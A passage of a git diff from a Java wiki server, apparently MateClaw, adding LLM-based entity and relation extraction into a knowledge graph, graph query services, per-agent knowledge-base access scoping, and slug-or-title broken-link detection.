vip.mate.wiki.repository.WikiPageCitationMapper; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Set; + +/** + * Extracts a named-entity knowledge graph from source chunks: it pulls + * entities (person, organization, location, ...) and subject→predicate→object + * relations out of each chunk via a structured LLM call, resolves entities to + * canonical nodes (exact-key dedup plus optional embedding near-merge), and + * persists nodes, mentions, and edges into the {@code mate_wiki_entity*} + * tables. + * + *

    This is an opt-in pass gated by {@link WikiKbConfig#getEntityExtractionEnabled()}; + * it runs after ingest/embedding and never blocks the page-generation pipeline. + * + * @author MateClaw Team + */ +@Slf4j +@Service +@RequiredArgsConstructor +public class WikiEntityExtractionService { + + private static final List DEFAULT_ENTITY_TYPES = + List.of("person", "organization", "location", "event", "product", "concept"); + + /** Cosine threshold above which a new entity is merged into an existing same-type node. */ + private static final float MERGE_THRESHOLD = 0.92f; + + /** Max chunk characters sent to the model per call, to bound token spend. */ + private static final int MAX_CHUNK_CHARS = 6000; + + /** Evidence column is capped at 500 chars in the schema. */ + private static final int MAX_EVIDENCE = 500; + + private final WikiKnowledgeBaseService kbService; + private final WikiChunkService chunkService; + private final WikiEmbeddingService embeddingService; + private final WikiModelRoutingService routingService; + private final ModelConfigService modelConfigService; + private final ObjectMapper objectMapper; + + private final WikiEntityMapper entityMapper; + private final WikiEntityMentionMapper mentionMapper; + private final WikiEntityRelationMapper relationMapper; + private final WikiPageCitationMapper citationMapper; + + /** Extract entities from every not-yet-processed chunk of one raw material. */ + public int extractForRaw(Long kbId, Long rawId) { + return extract(kbId, chunkService.listByRawId(rawId), false); + } + + /** + * Extract entities across the whole KB. + * + * @param force when {@code true}, re-extract chunks that already have + * mentions (used for a manual full rebuild); otherwise skip + * chunks already processed + */ + public int extractForKb(Long kbId, boolean force) { + int touched = extract(kbId, chunkService.listByKbId(kbId), force); + if (force && touched > 0) { + // A forced full rebuild may have dropped entity types from the KB + // config; entities that no longer earn a mention become orphans. + // Skip pruning when the run resolved nothing (e.g. the model was + // unavailable) so a total failure can't wipe the existing graph. + pruneOrphanEntities(kbId); + } + return touched; + } + + private int extract(Long kbId, List chunks, boolean force) { + WikiKnowledgeBaseEntity kb = kbService.getById(kbId); + if (kb == null || chunks == null || chunks.isEmpty()) { + return 0; + } + ChatModel chatModel = resolveChatModel(kbId); + if (chatModel == null) { + log.warn("[WikiEntity] No chat model available for kbId={}, skipping extraction", kbId); + return 0; + } + + List types = resolveEntityTypes(kb); + BeanOutputConverter converter = + new BeanOutputConverter<>(EntityExtractionResult.class); + String systemPrompt = buildSystemPrompt(types); + + // Per-run resolution cache: type+normalizedKey → entityId. Seeded lazily + // from the DB so entities resolve consistently within and across chunks. + Map resolved = new HashMap<>(); + // Same-type existing entities with embeddings, for near-duplicate merge. + EntityIndex index = new EntityIndex(kbId); + + for (WikiChunkEntity chunk : chunks) { + if (chunk.getContent() == null || chunk.getContent().isBlank()) { + continue; + } + boolean alreadyProcessed = hasMentions(chunk.getId()); + if (alreadyProcessed && !force) { + continue; + } + try { + EntityExtractionResult result = callExtract(chatModel, converter, systemPrompt, chunk); + if (result == null) { + continue; + } + // Forced re-extraction: only now that we have a fresh result do + // we wipe the chunk's prior mentions/relations, so a failed LLM + // call leaves the existing graph intact instead of destroying it. + if (alreadyProcessed) { + clearChunkArtifacts(chunk.getId()); + } + persistChunk(kbId, chunk, result, resolved, index); + } catch (Exception e) { + log.warn("[WikiEntity] Extraction failed for chunkId={} kbId={}: {}", + chunk.getId(), kbId, e.getMessage()); + } + } + return resolved.size(); + } + + // ---- LLM call --------------------------------------------------------- + + private EntityExtractionResult callExtract(ChatModel chatModel, + BeanOutputConverter converter, + String systemPrompt, + WikiChunkEntity chunk) { + String content = chunk.getContent(); + if (content.length() > MAX_CHUNK_CHARS) { + content = content.substring(0, MAX_CHUNK_CHARS); + } + String userPrompt = "Source text:\n\"\"\"\n" + content + "\n\"\"\"\n\n" + converter.getFormat(); + Prompt prompt = new Prompt(List.of( + new SystemMessage(systemPrompt), + new UserMessage(userPrompt))); + ChatResponse response = chatModel.call(prompt); + String text = response.getResult().getOutput().getText(); + if (text == null || text.isBlank()) { + return null; + } + try { + return converter.convert(text); + } catch (Exception e) { + log.debug("[WikiEntity] Structured parse failed, skipping chunk: {}", e.getMessage()); + return null; + } + } + + private String buildSystemPrompt(List types) { + return "You are a knowledge-graph entity extractor. From the given source text, " + + "extract named entities and the factual relations between them.\n" + + "Entity types to use: " + String.join(", ", types) + ".\n" + + "Rules:\n" + + "- Only extract entities explicitly named in the text; do not invent any.\n" + + "- Use the most complete surface form as the name; list shorter forms as aliases.\n" + + "- For each relation, subject and object must both appear in the entities list.\n" + + "- Keep predicates short and snake_case (e.g. works_for, located_in, founded).\n" + + "- Provide a short verbatim evidence quote for each entity and relation.\n" + + "- If nothing relevant is present, return empty lists."; + } + + // ---- persistence ------------------------------------------------------ + + private void persistChunk(Long kbId, WikiChunkEntity chunk, EntityExtractionResult result, + Map resolved, EntityIndex index) { + Long pageId = firstCitingPage(chunk.getId()); + + // Resolve each entity to a canonical id, persist its mention for this chunk. + Map localByName = new HashMap<>(); + if (result.getEntities() != null) { + for (EntityExtractionResult.ExtractedEntity e : result.getEntities()) { + if (e == null || e.getName() == null || e.getName().isBlank()) { + continue; + } + String type = normalizeType(e.getType()); + Long entityId = resolveEntity(kbId, e, type, resolved, index); + if (entityId == null) { + continue; + } + localByName.put(normalize(e.getName()), entityId); + if (e.getAliases() != null) { + for (String alias : e.getAliases()) { + if (alias != null && !alias.isBlank()) { + localByName.put(normalize(alias), entityId); + } + } + } + insertMention(kbId, entityId, chunk.getId(), pageId, e.getName(), e.getEvidence()); + bumpMentionCount(entityId); + } + } + + // Persist relations whose endpoints both resolved. + if (result.getRelations() != null) { + for (EntityExtractionResult.ExtractedRelation r : result.getRelations()) { + if (r == null || r.getSubject() == null || r.getObject() == null + || r.getPredicate() == null || r.getPredicate().isBlank()) { + continue; + } + Long subjectId = localByName.get(normalize(r.getSubject())); + Long objectId = localByName.get(normalize(r.getObject())); + if (subjectId == null || objectId == null || subjectId.equals(objectId)) { + continue; + } + upsertRelation(kbId, subjectId, objectId, normalizePredicate(r.getPredicate()), + r.getEvidence(), chunk.getId()); + } + } + } + + /** + * Resolve an extracted entity to a canonical node id: run cache → exact + * key match in DB → embedding near-match → create new. + */ + private Long resolveEntity(Long kbId, EntityExtractionResult.ExtractedEntity e, String type, + Map resolved, EntityIndex index) { + String key = normalize(e.getName()); + String cacheKey = type + "" + key; + Long cached = resolved.get(cacheKey); + if (cached != null) { + return cached; + } + + WikiEntityEntity existing = entityMapper.selectOne(new LambdaQueryWrapper() + .eq(WikiEntityEntity::getKbId, kbId) + .eq(WikiEntityEntity::getNormalizedKey, key) + .eq(WikiEntityEntity::getType, type) + .last("LIMIT 1")); + if (existing != null) { + resolved.put(cacheKey, existing.getId()); + return existing.getId(); + } + + // Embedding near-duplicate merge across spellings/languages. + float[] vec = embedName(kbId, e); + if (vec != null) { + Long near = index.findNearest(type, vec); + if (near != null) { + resolved.put(cacheKey, near); + return near; + } + } + + WikiEntityEntity created = new WikiEntityEntity(); + created.setKbId(kbId); + created.setCanonicalName(e.getName().trim()); + created.setNormalizedKey(key); + created.setType(type); + created.setAliasesJson(writeJson(e.getAliases())); + created.setDescription(truncate(e.getDescription(), MAX_EVIDENCE)); + created.setMentionCount(0); + created.setSalience(BigDecimal.ZERO); + if (vec != null) { + created.setEmbedding(WikiEmbeddingService.floatsToBytes(vec)); + } + entityMapper.insert(created); + resolved.put(cacheKey, created.getId()); + index.add(type, created.getId(), vec); + return created.getId(); + } + + private void insertMention(Long kbId, Long entityId, Long chunkId, Long pageId, + String surfaceForm, String evidence) { + WikiEntityMentionEntity m = new WikiEntityMentionEntity(); + m.setKbId(kbId); + m.setEntityId(entityId); + m.setChunkId(chunkId); + m.setPageId(pageId); + m.setSurfaceForm(truncate(surfaceForm, 256)); + m.setConfidence(BigDecimal.valueOf(0.9)); + m.setEvidence(truncate(evidence, MAX_EVIDENCE)); + m.setSource("llm-extracted"); + mentionMapper.insert(m); + } + + private void bumpMentionCount(Long entityId) { + WikiEntityEntity e = entityMapper.selectById(entityId); + if (e == null) { + return; + } + int count = (e.getMentionCount() == null ? 0 : e.getMentionCount()) + 1; + e.setMentionCount(count); + // Saturating popularity score in [0,1): count / (count + 5). + e.setSalience(BigDecimal.valueOf((double) count / (count + 5.0)) + .setScale(4, RoundingMode.HALF_UP)); + entityMapper.updateById(e); + } + + private void upsertRelation(Long kbId, Long subjectId, Long objectId, String predicate, + String evidence, Long chunkId) { + WikiEntityRelationEntity existing = relationMapper.selectOne( + new LambdaQueryWrapper() + .eq(WikiEntityRelationEntity::getKbId, kbId) + .eq(WikiEntityRelationEntity::getSubjectEntityId, subjectId) + .eq(WikiEntityRelationEntity::getPredicate, predicate) + .eq(WikiEntityRelationEntity::getObjectEntityId, objectId) + .last("LIMIT 1")); + if (existing != null) { + return; + } + WikiEntityRelationEntity rel = new WikiEntityRelationEntity(); + rel.setKbId(kbId); + rel.setSubjectEntityId(subjectId); + rel.setPredicate(predicate); + rel.setObjectEntityId(objectId); + rel.setEvidence(truncate(evidence, MAX_EVIDENCE)); + rel.setConfidence(BigDecimal.valueOf(0.8)); + rel.setSource("llm-extracted"); + rel.setEvidenceChunkId(chunkId); + relationMapper.insert(rel); + } + + // ---- helpers ---------------------------------------------------------- + + private boolean hasMentions(Long chunkId) { + Long count = mentionMapper.selectCount(new LambdaQueryWrapper() + .eq(WikiEntityMentionEntity::getChunkId, chunkId)); + return count != null && count > 0; + } + + /** + * Remove a chunk's previously-extracted mentions and relations and roll + * back the affected entities' mention counts so a forced re-extraction is + * idempotent. Entities themselves are kept here; orphans (those left with + * zero mentions after a full rebuild) are swept by {@link #pruneOrphanEntities}. + */ + private void clearChunkArtifacts(Long chunkId) { + List existing = mentionMapper.selectList( + new LambdaQueryWrapper() + .eq(WikiEntityMentionEntity::getChunkId, chunkId)); + Set affected = new HashSet<>(); + for (WikiEntityMentionEntity m : existing) { + if (m.getEntityId() != null) { + affected.add(m.getEntityId()); + } + } + mentionMapper.delete(new LambdaQueryWrapper() + .eq(WikiEntityMentionEntity::getChunkId, chunkId)); + relationMapper.delete(new LambdaQueryWrapper() + .eq(WikiEntityRelationEntity::getEvidenceChunkId, chunkId)); + // Recompute each affected entity's mention count from the surviving + // (non-deleted) rows rather than decrementing, so counts stay exact. + for (Long entityId : affected) { + WikiEntityEntity e = entityMapper.selectById(entityId); + if (e == null) { + continue; + } + Long remaining = mentionMapper.selectCount(new LambdaQueryWrapper() + .eq(WikiEntityMentionEntity::getEntityId, entityId)); + int count = remaining == null ? 0 : remaining.intValue(); + e.setMentionCount(count); + e.setSalience(BigDecimal.valueOf((double) count / (count + 5.0)) + .setScale(4, RoundingMode.HALF_UP)); + entityMapper.updateById(e); + } + } + + /** + * Delete entities in a KB that have no mentions left (and the relations that + * referenced them). Runs after a forced full rebuild so entity types removed + * from the KB config stop appearing in the graph. + */ + private void pruneOrphanEntities(Long kbId) { + List orphans = entityMapper.selectList( + new LambdaQueryWrapper() + .eq(WikiEntityEntity::getKbId, kbId) + .and(w -> w.isNull(WikiEntityEntity::getMentionCount) + .or().le(WikiEntityEntity::getMentionCount, 0))); + if (orphans == null || orphans.isEmpty()) { + return; + } + Set ids = new HashSet<>(); + for (WikiEntityEntity e : orphans) { + ids.add(e.getId()); + } + relationMapper.delete(new LambdaQueryWrapper() + .eq(WikiEntityRelationEntity::getKbId, kbId) + .and(w -> w.in(WikiEntityRelationEntity::getSubjectEntityId, ids) + .or().in(WikiEntityRelationEntity::getObjectEntityId, ids))); + entityMapper.delete(new LambdaQueryWrapper() + .eq(WikiEntityEntity::getKbId, kbId) + .in(WikiEntityEntity::getId, ids)); + log.info("[WikiEntity] Pruned {} orphan entities for kbId={}", ids.size(), kbId); + } + + private Long firstCitingPage(Long chunkId) { + List pages = citationMapper.listPageIdsByChunkId(chunkId); + return (pages == null || pages.isEmpty()) ? null : pages.get(0); + } + + private float[] embedName(Long kbId, EntityExtractionResult.ExtractedEntity e) { + try { + String text = e.getName() + (e.getDescription() == null ? "" : ". " + e.getDescription()); + return embeddingService.embedQuery(kbId, text); + } catch (Exception ex) { + return null; + } + } + + private ChatModel resolveChatModel(Long kbId) { + try { + Long modelId = routingService.selectModelId(kbId, "heavy_ingest", WikiJobStep.ENTITY_EXTRACTION); + if (modelId != null) { + return routingService.buildChatModel(modelId); + } + } catch (Exception e) { + log.warn("[WikiEntity] Model routing failed for kbId={}, using default: {}", kbId, e.getMessage()); + } + var def = modelConfigService.getDefaultModel(); + if (def == null) { + return null; + } + return routingService.buildChatModel(def.getId()); + } + + private List resolveEntityTypes(WikiKnowledgeBaseEntity kb) { + if (kb.getConfigContent() != null) { + WikiKbConfig config = WikiKbConfigParser.parse(objectMapper, kb.getConfigContent()); + if (config != null && config.getEntityTypes() != null && !config.getEntityTypes().isEmpty()) { + return config.getEntityTypes(); + } + } + return DEFAULT_ENTITY_TYPES; + } + + private String normalize(String s) { + return s == null ? "" : s.trim().toLowerCase(Locale.ROOT).replaceAll("\\s+", " "); + } + + private String normalizeType(String type) { + String t = type == null ? "" : type.trim().toLowerCase(Locale.ROOT); + return t.isEmpty() ? "other" : t; + } + + private String normalizePredicate(String predicate) { + String p = predicate.trim().toLowerCase(Locale.ROOT).replaceAll("\\s+", "_"); + return p.length() > 64 ? p.substring(0, 64) : p; + } + + private String truncate(String s, int max) { + if (s == null) { + return null; + } + String t = s.trim(); + return t.length() > max ? t.substring(0, max) : t; + } + + private String writeJson(Object value) { + if (value == null) { + return null; + } + try { + return objectMapper.writeValueAsString(value); + } catch (Exception e) { + return null; + } + } + + /** + * In-memory index of same-type entity embeddings for near-duplicate merge + * within a single extraction run. Bounded by the KB's existing entity count. + */ + private final class EntityIndex { + private final Map> vectorsByType = new HashMap<>(); + private final Map> idsByType = new HashMap<>(); + + EntityIndex(Long kbId) { + List existing = entityMapper.selectList( + new LambdaQueryWrapper() + .eq(WikiEntityEntity::getKbId, kbId) + .isNotNull(WikiEntityEntity::getEmbedding)); + for (WikiEntityEntity e : existing) { + if (e.getEmbedding() != null) { + add(e.getType(), e.getId(), WikiEmbeddingService.bytesToFloats(e.getEmbedding())); + } + } + } + + void add(String type, Long id, float[] vec) { + if (vec == null) { + return; + } + vectorsByType.computeIfAbsent(type, k -> new ArrayList<>()).add(vec); + idsByType.computeIfAbsent(type, k -> new ArrayList<>()).add(id); + } + + Long findNearest(String type, float[] vec) { + List vectors = vectorsByType.get(type); + List ids = idsByType.get(type); + if (vectors == null || vectors.isEmpty()) { + return null; + } + float best = MERGE_THRESHOLD; + Long bestId = null; + for (int i = 0; i < vectors.size(); i++) { + float sim = WikiEmbeddingService.cosine(vec, vectors.get(i)); + if (sim >= best) { + best = sim; + bestId = ids.get(i); + } + } + return bestId; + } + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiEntityGraphService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiEntityGraphService.java new file mode 100644 index 00000000..ec3e92ac --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiEntityGraphService.java @@ -0,0 +1,177 @@ +package vip.mate.wiki.service; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import vip.mate.wiki.dto.WikiEntityGraphView; +import vip.mate.wiki.dto.WikiEntityView; +import vip.mate.wiki.model.WikiEntityEntity; +import vip.mate.wiki.model.WikiEntityMentionEntity; +import vip.mate.wiki.model.WikiEntityRelationEntity; +import vip.mate.wiki.model.WikiPageEntity; +import vip.mate.wiki.repository.WikiEntityMapper; +import vip.mate.wiki.repository.WikiEntityMentionMapper; +import vip.mate.wiki.repository.WikiEntityRelationMapper; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; + +/** + * Read-side queries over the entity-level knowledge graph: entity listing and + * single-entity ego-graph assembly for the wiki graph view. + * + * @author MateClaw Team + */ +@Slf4j +@Service +@RequiredArgsConstructor +public class WikiEntityGraphService { + + private final WikiEntityMapper entityMapper; + private final WikiEntityMentionMapper mentionMapper; + private final WikiEntityRelationMapper relationMapper; + private final WikiPageService pageService; + private final ObjectMapper objectMapper; + + /** List entities in a KB, optionally filtered by type, ranked by salience. */ + public List listEntities(Long kbId, String type, int limit) { + LambdaQueryWrapper q = new LambdaQueryWrapper() + .eq(WikiEntityEntity::getKbId, kbId) + .orderByDesc(WikiEntityEntity::getSalience) + .last("LIMIT " + Math.max(1, Math.min(limit, 500))); + if (type != null && !type.isBlank()) { + q.eq(WikiEntityEntity::getType, type.trim().toLowerCase()); + } + List out = new ArrayList<>(); + for (WikiEntityEntity e : entityMapper.selectList(q)) { + out.add(toView(e)); + } + return out; + } + + /** + * Assemble the whole-KB entity graph: the top entities by salience plus the + * relation edges that connect any two of them. + */ + public WikiEntityGraphView graph(Long kbId, int limit) { + WikiEntityGraphView view = new WikiEntityGraphView(); + List nodes = listEntities(kbId, null, limit); + view.setNodes(nodes); + if (nodes.isEmpty()) { + return view; + } + Set ids = new LinkedHashSet<>(); + for (WikiEntityView n : nodes) { + ids.add(n.getId()); + } + List rels = relationMapper.selectList( + new LambdaQueryWrapper() + .eq(WikiEntityRelationEntity::getKbId, kbId) + .last("LIMIT " + Math.max(1, Math.min(limit * 5, 2000)))); + for (WikiEntityRelationEntity r : rels) { + if (!ids.contains(r.getSubjectEntityId()) || !ids.contains(r.getObjectEntityId())) { + continue; + } + WikiEntityGraphView.Edge edge = new WikiEntityGraphView.Edge(); + edge.setId(r.getId()); + edge.setSubjectEntityId(r.getSubjectEntityId()); + edge.setPredicate(r.getPredicate()); + edge.setObjectEntityId(r.getObjectEntityId()); + edge.setEvidence(r.getEvidence()); + edge.setConfidence(r.getConfidence()); + view.getEdges().add(edge); + } + return view; + } + + /** Assemble the ego-graph around one entity. */ + public WikiEntityGraphView ego(Long kbId, Long entityId, int limit) { + WikiEntityGraphView view = new WikiEntityGraphView(); + WikiEntityEntity center = entityMapper.selectById(entityId); + if (center == null || !center.getKbId().equals(kbId)) { + return view; + } + view.setCenter(toView(center)); + + int edgeLimit = Math.max(1, Math.min(limit, 200)); + List edges = relationMapper.selectList( + new LambdaQueryWrapper() + .eq(WikiEntityRelationEntity::getKbId, kbId) + .and(w -> w.eq(WikiEntityRelationEntity::getSubjectEntityId, entityId) + .or().eq(WikiEntityRelationEntity::getObjectEntityId, entityId)) + .last("LIMIT " + edgeLimit)); + + Set neighborIds = new LinkedHashSet<>(); + for (WikiEntityRelationEntity r : edges) { + WikiEntityGraphView.Edge edge = new WikiEntityGraphView.Edge(); + edge.setId(r.getId()); + edge.setSubjectEntityId(r.getSubjectEntityId()); + edge.setPredicate(r.getPredicate()); + edge.setObjectEntityId(r.getObjectEntityId()); + edge.setEvidence(r.getEvidence()); + edge.setConfidence(r.getConfidence()); + view.getEdges().add(edge); + neighborIds.add(r.getSubjectEntityId()); + neighborIds.add(r.getObjectEntityId()); + } + neighborIds.remove(entityId); + if (!neighborIds.isEmpty()) { + for (WikiEntityEntity n : entityMapper.selectBatchIds(neighborIds)) { + view.getNodes().add(toView(n)); + } + } + + // Pages that mention the center entity — the bridge to the page layer. + List mentions = mentionMapper.selectList( + new LambdaQueryWrapper() + .eq(WikiEntityMentionEntity::getEntityId, entityId) + .isNotNull(WikiEntityMentionEntity::getPageId) + .last("LIMIT 200")); + Set pageIds = new LinkedHashSet<>(); + for (WikiEntityMentionEntity m : mentions) { + pageIds.add(m.getPageId()); + } + for (Long pageId : pageIds) { + WikiPageEntity page = pageService.getById(pageId); + if (page == null) { + continue; + } + WikiEntityGraphView.PageRef ref = new WikiEntityGraphView.PageRef(); + ref.setPageId(page.getId()); + ref.setSlug(page.getSlug()); + ref.setTitle(page.getTitle()); + view.getPages().add(ref); + } + return view; + } + + private WikiEntityView toView(WikiEntityEntity e) { + WikiEntityView v = new WikiEntityView(); + v.setId(e.getId()); + v.setKbId(e.getKbId()); + v.setCanonicalName(e.getCanonicalName()); + v.setType(e.getType()); + v.setDescription(e.getDescription()); + v.setSalience(e.getSalience()); + v.setMentionCount(e.getMentionCount()); + v.setAliases(parseAliases(e.getAliasesJson())); + return v; + } + + private List parseAliases(String json) { + if (json == null || json.isBlank()) { + return Collections.emptyList(); + } + try { + return objectMapper.readValue(json, new TypeReference>() {}); + } catch (Exception e) { + return Collections.emptyList(); + } + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiKnowledgeBaseService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiKnowledgeBaseService.java index 49259d1c..0e4e34a2 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiKnowledgeBaseService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiKnowledgeBaseService.java @@ -5,6 +5,8 @@ import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import vip.mate.agent.binding.model.AgentWikiKbBinding; +import vip.mate.agent.binding.repository.AgentWikiKbBindingMapper; import vip.mate.agent.model.AgentEntity; import vip.mate.agent.repository.AgentMapper; import vip.mate.wiki.job.model.WikiProcessingJobEntity; @@ -21,6 +23,8 @@ import vip.mate.wiki.repository.WikiProcessingJobMapper; import vip.mate.wiki.repository.WikiRawMaterialMapper; import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; /** * Wiki 知识库服务 @@ -50,6 +54,15 @@ public class WikiKnowledgeBaseService { @org.springframework.context.annotation.Lazy private WikiScaffoldService scaffoldService; + /** + * Per-agent KB access scope. Optional ({@code required=false}) so the + * older tests that hand-wire this service via {@code @RequiredArgsConstructor} + * still compile and run — a {@code null} mapper means "no scoping known", + * which falls through to the legacy workspace-wide visibility. + */ + @org.springframework.beans.factory.annotation.Autowired(required = false) + private AgentWikiKbBindingMapper kbBindingMapper; + /** * Summary returned from cascade delete — used by callers (e.g. the * controller) to record an audit event with affected-row counts. @@ -107,15 +120,54 @@ public class WikiKnowledgeBaseService { /** * 获取 Agent 可访问的知识库。 *

    - * Knowledge bases are workspace-shared. The agent's primary KB is stored - * on mate_agent.primary_kb_id and does not affect visibility. + * Knowledge bases are workspace-shared, so the baseline visible set is + * every KB in the agent's workspace. When the agent has been pinned to a + * subset via {@code mate_agent_wiki_kb}, the set is narrowed to those KBs + * (intersected with the workspace, so a stale binding to a moved/deleted + * KB just drops out). An agent with no scope rows stays workspace-wide, + * preserving the pre-scoping behavior for every existing agent. + *

    + * This is the single choke point for KB access: {@code wiki_list_kbs}, + * {@link #findVisibleById}, {@link #findAllByName} and + * {@link #resolvePrimaryKb} all read through here, so narrowing it scopes + * every wiki tool at once. */ public List listByAgentId(Long agentId) { AgentEntity agent = getAgentOrNull(agentId); - if (agent == null || agent.getWorkspaceId() == null) { - return listAll(); + List workspaceKbs = (agent == null || agent.getWorkspaceId() == null) + ? listAll() + : listByWorkspace(agent.getWorkspaceId()); + Set scope = scopedKbIds(agentId); + if (scope == null) { + return workspaceKbs; // unrestricted } - return listByWorkspace(agent.getWorkspaceId()); + return workspaceKbs.stream() + .filter(kb -> scope.contains(kb.getId())) + .collect(Collectors.toList()); + } + + /** + * Enabled KB ids this agent is pinned to, or {@code null} when the agent + * is unrestricted (no scope rows, or the binding mapper isn't wired — see + * {@link #kbBindingMapper}). Returning {@code null} rather than an empty + * set is deliberate: an empty set would mean "no KB visible", but a fresh + * agent must default to its whole workspace. + */ + private Set scopedKbIds(Long agentId) { + if (agentId == null || kbBindingMapper == null) { + return null; + } + List rows = kbBindingMapper.selectList( + new LambdaQueryWrapper() + .eq(AgentWikiKbBinding::getAgentId, agentId) + .eq(AgentWikiKbBinding::getEnabled, true)); + if (rows.isEmpty()) { + return null; + } + return rows.stream() + .map(AgentWikiKbBinding::getKbId) + .filter(java.util.Objects::nonNull) + .collect(Collectors.toSet()); } /** @@ -331,6 +383,17 @@ public class WikiKnowledgeBaseService { kbMapper.updateById(entity); } + /** Toggle per-KB auto-sync (the periodic source-watcher scan). */ + @Transactional + public void updateWatcherEnabled(Long id, boolean enabled) { + WikiKnowledgeBaseEntity entity = kbMapper.selectById(id); + if (entity == null) { + throw new IllegalArgumentException("Knowledge base not found: " + id); + } + entity.setWatcherEnabled(enabled ? 1 : 0); + kbMapper.updateById(entity); + } + @Transactional public void decrementRawCount(Long kbId) { WikiKnowledgeBaseEntity entity = kbMapper.selectById(kbId); diff --git a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiLinkService.java b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiLinkService.java index 67e9a583..b7c5d1a0 100644 --- a/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiLinkService.java +++ b/mateclaw-server/src/main/java/vip/mate/wiki/service/WikiLinkService.java @@ -9,6 +9,7 @@ import vip.mate.wiki.model.WikiPageEntity; import java.util.ArrayList; import java.util.Collections; +import java.util.HashSet; import java.util.LinkedHashSet; import java.util.List; import java.util.Locale; @@ -114,19 +115,27 @@ public class WikiLinkService { } /** - * Compute the broken subset of {@code outlinks} given the KB's active - * page slug set. {@code activeSlugs} is expected to be already lowercased - * — callers compute it once per scan and reuse across pages. + * Compute the broken subset of {@code outlinks} given the KB's set of + * resolvable link-target keys. {@code resolvableKeysLower} is expected to + * be already lowercased and to contain BOTH page slugs and page titles + * (see {@link #resolvableTargetKeys}) — callers compute it once per scan + * and reuse it across pages. + *

    + * A target counts as broken only when it matches neither a slug nor a + * title, mirroring the page viewer's {@code resolveWikilink}. Matching on + * slugs alone would report every {@code [[Page Title]]} reference to an + * existing page as broken even though the viewer renders it as a working + * link. * - * @return targets that have no matching page slug, in the same insertion + * @return targets that resolve to no existing page, in the same insertion * order as {@code outlinks} */ - public List computeBrokenLinks(Set outlinks, Set activeSlugsLower) { + public List computeBrokenLinks(Set outlinks, Set resolvableKeysLower) { if (outlinks == null || outlinks.isEmpty()) return Collections.emptyList(); - if (activeSlugsLower == null) activeSlugsLower = Collections.emptySet(); + if (resolvableKeysLower == null) resolvableKeysLower = Collections.emptySet(); List broken = new ArrayList<>(); for (String t : outlinks) { - if (!activeSlugsLower.contains(t)) broken.add(t); + if (!resolvableKeysLower.contains(t)) broken.add(t); } return broken; } @@ -134,11 +143,12 @@ public class WikiLinkService { /** * Convenience: extract + compute in one call. Used from * {@code WikiPageService.save/update} where both fields are written in - * the same transaction. + * the same transaction. {@code resolvableKeysLower} should carry slugs + * and titles — see {@link #resolvableTargetKeys}. */ - public LinkAnalysis analyze(String content, Set activeSlugsLower) { + public LinkAnalysis analyze(String content, Set resolvableKeysLower) { Set outlinks = extractOutlinks(content); - List broken = computeBrokenLinks(outlinks, activeSlugsLower); + List broken = computeBrokenLinks(outlinks, resolvableKeysLower); return new LinkAnalysis(new ArrayList<>(outlinks), broken); } @@ -181,6 +191,45 @@ public class WikiLinkService { .collect(Collectors.toUnmodifiableSet()); } + /** + * Build the set of resolvable wikilink-target keys for a KB from a + * pre-loaded page list — the union of each page's lowercased slug AND its + * trimmed-lowercased title. + *

    + * This is the broken-link counterpart to {@link #lowercaseSlugSet} and is + * what {@link #computeBrokenLinks} should be fed: it mirrors the page + * viewer's {@code resolveWikilink}, which resolves a {@code [[target]]} + * against an exact slug OR an exact title before declaring it broken. + * Using slugs alone flags every {@code [[Page Title]]} reference to an + * existing page as broken even though the viewer renders it as a working + * link — a false positive that is pervasive when slugs are transliterated + * (e.g. a CJK title {@code 光合作用} stored under the pinyin slug + * {@code guanghe-zuoyong}). + *

    + * Titles are trimmed before lowercasing to match {@code extractOutlinks}, + * which trims a {@code [[ Page Title ]]} target before recording it. + * + * @param pages active pages (callers filter out archived); both slug and + * title columns must be loaded + * @return mutable set of lowercased slug + title keys; empty for null/empty + */ + public Set resolvableTargetKeys(List pages) { + if (pages == null || pages.isEmpty()) return new HashSet<>(); + Set keys = new HashSet<>(pages.size() * 2); + for (WikiPageEntity p : pages) { + if (p == null) continue; + String slug = p.getSlug(); + if (slug != null && !slug.isBlank()) { + keys.add(slug.toLowerCase(Locale.ROOT)); + } + String title = p.getTitle(); + if (title != null && !title.isBlank()) { + keys.add(title.trim().toLowerCase(Locale.ROOT)); + } + } + return keys; + } + // ============================================================ // Cascade rewrite — used by page delete + rename to update referrers // ============================================================ @@ -236,6 +285,48 @@ public class WikiLinkService { }); } + /** + * Decides what to do with one wikilink during reconciliation. Receives the + * original-case target (before any {@code |alias}) and the explicit alias + * (or {@code null}); returns {@code null} to leave the link untouched, or + * the literal replacement text — plain text to demote a dangling link, or a + * re-formed {@code [[coverSlug|display]]} to redirect it to a covering page. + */ + @FunctionalInterface + public interface LinkReconciler { + String reconcile(String target, String alias); + } + + /** + * Walk {@code content} and hand every wikilink to {@code reconciler}, used + * by the post-ingestion pass that redirects or demotes links the model + * wrote to concepts that never became their own page. Mirrors + * {@link #rewriteWikilinks} (code spans preserved verbatim) but passes the + * original-case target so the reconciler can build readable display text. + */ + public String reconcileLinks(String content, LinkReconciler reconciler) { + if (content == null || content.isEmpty()) return content; + List regions = splitByCode(content); + StringBuilder out = new StringBuilder(content.length() + 16); + for (Region r : regions) { + if (r.isCode) { out.append(r.text); continue; } + Matcher m = WIKILINK.matcher(r.text); + int last = 0; + while (m.find()) { + 